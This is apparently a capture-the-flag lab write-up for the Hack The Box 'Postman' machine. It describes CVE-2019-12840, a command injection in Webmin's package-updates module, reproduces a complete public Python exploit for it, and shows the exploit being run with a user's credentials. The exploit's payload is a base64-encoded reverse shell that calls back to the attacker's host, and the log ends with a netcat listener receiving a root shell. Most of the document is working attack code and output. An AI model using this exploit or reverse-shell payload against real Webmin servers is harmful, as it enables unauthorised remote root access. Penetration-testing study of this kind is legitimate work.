CVE-2019-12840


a vulnerability classified as critical has been found in webmin up to 1.910 (Software Management Software). Affected is some unknown functionality of the file update.cgi of the component Package Updates Module. The manipulation of the argument data as part of a Parameter leads to a command injection vulnerability. CWE is classifying the issue as CWE-77. The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. This is going to have an impact on confidentiality, integrity, and availability.

The Matt user is confirmed to be a Webmin user

exploit


Exploit found online

#!/usr/bin/python3
 
'''
# Exploit Title: Webmin Package Updates Remote Command Execution
# Date: 09/11/2019
# Exploit Author: KrE80r (@KrE80r)
# CVE : CVE-2019-12840
# Vendor Homepage: http://webmin.com/
# Version: <= 1.910 
# Tested on: Ubuntu 16.04, Ubuntu 18.04
# Refernces: https://secfa.org/?p=17, https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html
'''
 
 
import requests
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import argparse
import sys
import base64
from colorama import Fore, Style
from bs4 import BeautifulSoup
 
banner = '''
  _______      ________    ___   ___  __  ___        __ ___   ___  _  _    ___  
 / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ |__ \ / _ \| || |  / _ \ 
| |     \ \  / /| |__ ______ ) | | | || | (_) |______| |  ) | (_) | || |_| | | |
| |      \ \/ / |  __|______/ /| | | || |\__, |______| | / / > _ <|__   _| | | |
| |____   \  /  | |____    / /_| |_| || |  / /       | |/ /_| (_) |  | | | |_| |
 \_____|   \/   |______|  |____|\___/ |_| /_/        |_|____|\___/   |_|  \___/ 
                                                                              
                           by KrE80r 
 
             Webmin <= 1.910 RCE (Authorization Required)
 
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
'''
 
def CVE_2019_12840(url,auth_base64,cmd):
    vuln_url = url + '/package-updates/update.cgi'
    headers = {
    "User-Agent":"webmin",
    "Connection":"close",
    "Content-Type":"application/x-www-form-urlencoded",
    "Referer": url + "package-updates/update.cgi?xnavigation=1"
    }
 
 
    payload = r'OBJECT CGI;print "Content-Type: Test\n\n";'+'$cmd=`%s`;print "$cmd";' % cmd
    r = requests.post(url=vuln_url, data=payload, headers=headers, verify=False)
    if r.status_code ==200 and 'Content-type' in r.text:
        m = re.findall(r"(.+?)\nContent-type: text/plain",r.text,re.S)
    else:
        sys.exit(1)
 
 
 
def login(username,password,url):
    print(Fore.YELLOW + "[*] logging in ...")
    print(Style.RESET_ALL) 
    session = requests.Session()
    session.cookies["testing"] = "1"
    data = {'page' : '', 'user' : username, 'pass' : password}
    loginurl = url+"/session_login.cgi"
    res = session.post(loginurl, data=data, verify=False,allow_redirects=False)
    
    if res.status_code != 302 or session.cookies["sid"] == None:
        print(Fore.RED +"[-] Failed to login!!")
        print(Style.RESET_ALL) 
        sys.exit(1)
    else:
        return session.cookies["sid"]
      
def exploit(sid,url,cmd):
    print(Fore.YELLOW + "[*] sending command", cmd)
    print(Style.RESET_ALL) 
    session = requests.Session()    
    referer = url + "/package-updates/update.cgi?xnavigation=1"
    cookies = "Cookie: redirect=1; testing=1;sid=" + sid
    headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0",
    "Connection": "close",
    "Content-Type": "application/x-www-form-urlencoded",
    "Referer": referer,
    "X-Progressive-URL": url + "package-updates/update.cgi",
    "X-Requested-From": "package-updates",
    "X-Requested-From-Tab": "webmin",
    "X-Requested-With": "XMLHttpRequest",
    "Cookie": cookies
    }
    data = "mode=updates&search=&u=apt/apt&u=;"+ cmd + ";/apt&ok_top=Update+Selected+Packages"
    updateurl = url + "/package-updates/update.cgi"
    res = session.post(updateurl, data=data,headers=headers, verify=False)
    if res.status_code == 200:
        soup = BeautifulSoup(res.text, 'html.parser')
        #ain't perfect but does the job
        output = soup.find_all('pre')
        print(output)
        print(Fore.GREEN + "[+] exploit finished successfully!!")
        print(Style.RESET_ALL) 
 
def b64revshell(lhost,lport):
    payload = "python -c \"import base64;exec(base64.b64decode('"
    shellcode = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+ lhost + "\"," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])"
    shellcode = str.encode(shellcode)
    encoded = base64.b64encode(shellcode)
    encoded = encoded.decode("utf-8")
    closing = "'))\""
    payload += encoded
    payload += closing
    return payload
    
if __name__ == "__main__":
    print (Fore.GREEN + banner)
    print(Style.RESET_ALL) 
    parser = argparse.ArgumentParser()
    parser.add_argument("-U", dest="username", help="username", required=True)
    parser.add_argument("-P", dest="password", help="password", required=True)
    parser.add_argument("-u", dest="url", help="target url", required=True)
    parser.add_argument("-p", dest="port", default="10000", help="target port")
    parser.add_argument("-lport", dest="lport", default="443", help="local port for reverse shell")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-c", dest="cmd", help="command to execute")
    group.add_argument("-lhost", dest="lhost", help="Send back a reverse shell at port 443")
    args = parser.parse_args()
    baseurl = args.url + ':' + args.port
    sid = login(args.username,args.password,baseurl)
    sid = sid.strip()
    print(Fore.GREEN + "[+] got sid", sid)
    print(Style.RESET_ALL)
    if args.cmd:
        exploit(sid,baseurl,args.cmd)
    elif args.lhost:
        rev = b64revshell(args.lhost,args.lport)
        exploit(sid,baseurl,rev)

Exploitation


┌──(kali㉿kali)-[~/archive/htb/labs/postman]
└─$ python3 cve-2019-12840.py -u matt -p computer2008 -u 'https://postman' -lhost 10.10.16.8 -lport 1234 
 
  _______      ________    ___   ___  __  ___        __ ___   ___  _  _    ___  
 / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ |__ \ / _ \| || |  / _ \ 
| |     \ \  / /| |__ ______ ) | | | || | (_) |______| |  ) | (_) | || |_| | | |
| |      \ \/ / |  __|______/ /| | | || |\__, |______| | / / > _ <|__   _| | | |
| |____   \  /  | |____    / /_| |_| || |  / /       | |/ /_| (_) |  | | | |_| |
 \_____|   \/   |______|  |____|\___/ |_| /_/        |_|____|\___/   |_|  \___/ 
                                                                              
                           by KrE80r 
 
             Webmin <= 1.910 RCE (Authorization Required)
 
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
 
 
[*] logging in ...
 
[+] got sid 43a4295a967fb8544e9f53ff037a9246
 
[*] sending command python -c "import base64;exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE2LjgiLDEyMzQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0p'))"

Executing the exploit script with the credential of the Matt user

┌──(kali㉿kali)-[~/archive/htb/labs/postman]
└─$ nnc 1234  
listening on [any] 1234 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.10.160] 42374
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# hostname
Postman
# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.160  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 dead:beef::250:56ff:feb9:6363  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:6363  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:63:63  txqueuelen 1000  (Ethernet)
        RX packets 16379  bytes 5242975 (5.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 17199  bytes 12410522 (12.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 19  base 0x2000  
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 25940  bytes 1843058 (1.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 25940  bytes 1843058 (1.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise